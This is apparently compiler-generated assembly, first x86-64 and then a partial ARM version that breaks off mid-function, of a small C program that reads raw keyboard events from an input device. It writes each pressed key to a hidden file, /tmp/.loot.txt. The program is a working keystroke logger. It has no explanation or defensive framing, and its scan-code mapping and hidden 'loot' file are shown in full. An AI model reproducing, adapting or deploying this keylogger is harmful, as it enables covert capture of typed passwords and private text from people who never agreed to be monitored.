	.file	"934517.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"usage: %s <device>\n"
.LC1:
	.string	"Invalid Device Link: "
.LC2:
	.string	"a+"
.LC3:
	.string	"/tmp/.loot.txt"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	DWORD PTR -52[rbp], edi
	mov	QWORD PTR -64[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	cmp	DWORD PTR -52[rbp], 1
	jg	.L2
	mov	rax, QWORD PTR -64[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
.L2:
	mov	rax, QWORD PTR -64[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	esi, 0
	mov	rdi, rax
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -44[rbp], eax
	cmp	DWORD PTR -44[rbp], -1
	jne	.L3
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L3:
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -44[rbp]
	mov	edx, 24
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	movzx	eax, WORD PTR -16[rbp]
	cmp	ax, 1
	jne	.L3
	mov	eax, DWORD PTR -12[rbp]
	cmp	eax, 1
	jne	.L3
	lea	rsi, .LC2[rip]
	lea	rdi, .LC3[rip]
	call	fopen@PLT
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -40[rbp]
	sub	rsp, 8
	push	QWORD PTR -16[rbp]
	push	QWORD PTR -24[rbp]
	push	QWORD PTR -32[rbp]
	mov	rdi, rax
	call	ProcessKeys
	add	rsp, 32
	mov	rax, QWORD PTR -40[rbp]
	mov	rdi, rax
	call	fclose@PLT
	jmp	.L3
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.section	.rodata
.LC4:
	.string	"`"
.LC5:
	.string	"1"
.LC6:
	.string	"2"
.LC7:
	.string	"3"
.LC8:
	.string	"4"
.LC9:
	.string	"5"
.LC10:
	.string	"6"
.LC11:
	.string	"7"
.LC12:
	.string	"8"
.LC13:
	.string	"9"
.LC14:
	.string	"0"
.LC15:
	.string	"-"
.LC16:
	.string	"="
.LC17:
	.string	"[backspace]"
.LC18:
	.string	"[tab]"
.LC19:
	.string	"q"
.LC20:
	.string	"w"
.LC21:
	.string	"e"
.LC22:
	.string	"r"
.LC23:
	.string	"t"
.LC24:
	.string	"y"
.LC25:
	.string	"u"
.LC26:
	.string	"i"
.LC27:
	.string	"o"
.LC28:
	.string	"p"
.LC29:
	.string	"["
.LC30:
	.string	"]"
.LC31:
	.string	"\\"
.LC32:
	.string	"a"
.LC33:
	.string	"s"
.LC34:
	.string	"d"
.LC35:
	.string	"f"
.LC36:
	.string	"g"
.LC37:
	.string	"h"
.LC38:
	.string	"j"
.LC39:
	.string	"k"
.LC40:
	.string	"l"
.LC41:
	.string	";"
.LC42:
	.string	"'"
.LC43:
	.string	"[enter]"
.LC44:
	.string	"[shift]-"
.LC45:
	.string	"z"
.LC46:
	.string	"x"
.LC47:
	.string	"c"
.LC48:
	.string	"v"
.LC49:
	.string	"b"
.LC50:
	.string	"n"
.LC51:
	.string	"m"
.LC52:
	.string	","
.LC53:
	.string	"."
.LC54:
	.string	"/"
.LC55:
	.string	"[ctrl]"
.LC56:
	.string	"[windows]"
.LC57:
	.string	"[alt]"
.LC58:
	.string	" "
	.text
	.globl	ProcessKeys
	.type	ProcessKeys, @function
ProcessKeys:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 41
	jne	.L7
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L7:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 2
	jne	.L9
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC5[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L9:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 3
	jne	.L10
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC6[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L10:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 4
	jne	.L11
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC7[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L11:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 5
	jne	.L12
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC8[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L12:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 6
	jne	.L13
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC9[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L13:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 7
	jne	.L14
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L14:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 8
	jne	.L15
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC11[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L15:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 9
	jne	.L16
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC12[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L16:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 10
	jne	.L17
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L17:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 11
	jne	.L18
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC14[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L18:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 12
	jne	.L19
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC15[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L19:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 13
	jne	.L20
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC16[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L20:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 14
	jne	.L21
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC17[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L21:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 1
	jne	.L22
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC5[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L22:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 15
	jne	.L23
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC18[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L23:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 16
	jne	.L24
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC19[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L24:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 17
	jne	.L25
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC20[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L25:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 18
	jne	.L26
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC21[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L26:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 19
	jne	.L27
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC22[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L27:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 20
	jne	.L28
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC23[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L28:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 21
	jne	.L29
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC24[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L29:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 22
	jne	.L30
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC25[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L30:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 23
	jne	.L31
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC26[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L31:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 24
	jne	.L32
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC27[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L32:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 25
	jne	.L33
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC28[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L33:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 26
	jne	.L34
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC29[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L34:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 27
	jne	.L35
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC30[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L35:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 43
	jne	.L36
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC31[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L36:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 29
	jne	.L37
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC5[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L37:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 30
	jne	.L38
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC32[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L38:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 31
	jne	.L39
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC33[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L39:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 32
	jne	.L40
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC34[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L40:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 33
	jne	.L41
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC35[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L41:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 34
	jne	.L42
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC36[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L42:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 35
	jne	.L43
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC37[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L43:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 36
	jne	.L44
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC38[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L44:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 37
	jne	.L45
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC39[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L45:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 38
	jne	.L46
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC40[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L46:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 39
	jne	.L47
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC41[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L47:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 40
	jne	.L48
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC42[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L48:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 28
	jne	.L49
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC43[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L49:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 42
	jne	.L50
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC44[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L50:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 44
	jne	.L51
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC45[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L51:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 45
	jne	.L52
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC46[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L52:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 46
	jne	.L53
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC47[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L53:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 47
	jne	.L54
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC48[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L54:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 48
	jne	.L55
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC49[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L55:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 49
	jne	.L56
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC50[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L56:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 50
	jne	.L57
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC51[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L57:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 51
	jne	.L58
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC52[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L58:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 52
	jne	.L59
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC53[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L59:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 53
	jne	.L60
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC54[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L60:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 29
	jne	.L61
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC55[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L61:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 125
	jne	.L62
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC56[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L62:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 56
	jne	.L63
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC57[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L63:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 57
	jne	.L64
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC58[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L64:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 100
	jne	.L65
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC57[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L65:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 126
	jne	.L66
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC56[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L67
.L66:
	movzx	eax, WORD PTR 34[rbp]
	cmp	ax, 97
	jne	.L67
	movzx	eax, WORD PTR 34[rbp]
	movzx	edx, ax
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC55[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L67:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	ProcessKeys, .-ProcessKeys
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"934517.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"usage: %s <device>\012\000"
	.align	2
.LC1:
	.ascii	"Invalid Device Link: \000"
	.align	2
.LC2:
	.ascii	"a+\000"
	.align	2
.LC3:
	.ascii	"/tmp/.loot.txt\000"
	.align	2
.LC4:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #48
	str	r0, [fp, #-40]
	str	r1, [fp, #-44]
	ldr	r3, .L6
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-40]
	cmp	r3, #1
	bgt	.L2
	ldr	r3, [fp, #-44]
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L6+4
	bl	printf
	mov	r0, #1
	bl	exit
.L2:
	ldr	r3, [fp, #-44]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	open
	str	r0, [fp, #-32]
	ldr	r3, [fp, #-32]
	cmn	r3, #1
	bne	.L3
	ldr	r0, .L6+8
	bl	perror
	mov	r0, #1
	bl	exit
.L3:
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-32]
	bl	read
	ldrh	r3, [fp, #-16]
	cmp	r3, #1
	bne	.L3
	ldr	r3, [fp, #-12]
	cmp	r3, #1
	bne	.L3
	ldr	r1, .L6+12
	ldr	r0, .L6+16
	bl	fopen
	str	r0, [fp, #-28]
	ldr	r3, [fp, #-12]
	str	r3, [sp]
	sub	r3, fp, #24
	ldm	r3, {r1, r2, r3}
	ldr	r0, [fp, #-28]
	bl	ProcessKeys
	ldr	r0, [fp, #-28]
	bl	fclose
	b	.L3
.L7:
	.align	2
.L6:
	.word	.LC4
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.size	main, .-main
	.section	.rodata
	.align	2
.LC5:
	.ascii	"`\000"
	.align	2
.LC6:
	.ascii	"1\000"
	.align	2
.LC7:
	.ascii	"2\000"
	.align	2
.LC8:
	.ascii	"3\000"
	.align	2
.LC9:
	.ascii	"4\000"
	.align	2
.LC10:
	.ascii	"5\000"
	.align	2
.LC11:
	.ascii	"6\000"
	.align	2
.LC12:
	.ascii	"7\000"
	.align	2
.LC13:
	.ascii	"8\000"
	.align	2
.LC14:
	.ascii	"9\000"
	.align	2
.LC15:
	.ascii	"0\000"
	.align	2
.LC16:
	.ascii	"-\000"
	.align	2
.LC17:
	.ascii	"=\000"
	.align	2
.LC18:
	.ascii	"[backspace]\000"
	.align	2
.LC19:
	.ascii	"[tab]\000"
	.align	2
.LC20:
	.ascii	"q\000"
	.align	2
.LC21:
	.ascii	"w\000"
	.align	2
.LC22:
	.ascii	"e\000"
	.align	2
.LC23:
	.ascii	"r\000"
	.align	2
.LC24:
	.ascii	"t\000"
	.align	2
.LC25:
	.ascii	"y\000"
	.align	2
.LC26:
	.ascii	"u\000"
	.align	2
.LC27:
	.ascii	"i\000"
	.align	2
.LC28:
	.ascii	"o\000"
	.align	2
.LC29:
	.ascii	"p\000"
	.align	2
.LC30:
	.ascii	"[\000"
	.align	2
.LC31:
	.ascii	"]\000"
	.align	2
.LC32:
	.ascii	"\\\000"
	.align	2
.LC33:
	.ascii	"a\000"
	.align	2
.LC34:
	.ascii	"s\000"
	.align	2
.LC35:
	.ascii	"d\000"
	.align	2
.LC36:
	.ascii	"f\000"
	.align	2
.LC37:
	.ascii	"g\000"
	.align	2
.LC38:
	.ascii	"h\000"
	.align	2
.LC39:
	.ascii	"j\000"
	.align	2
.LC40:
	.ascii	"k\000"
	.align	2
.LC41:
	.ascii	"l\000"
	.align	2
.LC42:
	.ascii	";\000"
	.align	2
.LC43:
	.ascii	"'\000"
	.align	2
.LC44:
	.ascii	"[enter]\000"
	.align	2
.LC45:
	.ascii	"[shift]-\000"
	.align	2
.LC46:
	.ascii	"z\000"
	.align	2
.LC47:
	.ascii	"x\000"
	.align	2
.LC48:
	.ascii	"c\000"
	.align	2
.LC49:
	.ascii	"v\000"
	.align	2
.LC50:
	.ascii	"b\000"
	.align	2
.LC51:
	.ascii	"n\000"
	.align	2
.LC52:
	.ascii	"m\000"
	.align	2
.LC53:
	.ascii	",\000"
	.align	2
.LC54:
	.ascii	".\000"
	.align	2
.LC55:
	.ascii	"/\000"
	.align	2
.LC56:
	.ascii	"[ctrl]\000"
	.align	2
.LC57:
	.ascii	"[windows]\000"
	.align	2
.LC58:
	.ascii	"[alt]\000"
	.align	2
.LC59:
	.ascii	" \000"
	.text
	.align	2
	.global	ProcessKeys
	.syntax unified
	.arm
	.fpu softvfp
	.type	ProcessKeys, %function
ProcessKeys:
	@ args = 20, pretend = 16, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	sub	sp, sp, #16
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	add	r0, fp, #8
	stm	r0, {r1, r2, r3}
	ldrh	r3, [fp, #18]
	cmp	r3, #41
	bne	.L9
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L9:
	ldrh	r3, [fp, #18]
	cmp	r3, #2
	bne	.L11
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+4
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L11:
	ldrh	r3, [fp, #18]
	cmp	r3, #3
	bne	.L12
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+8
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L12:
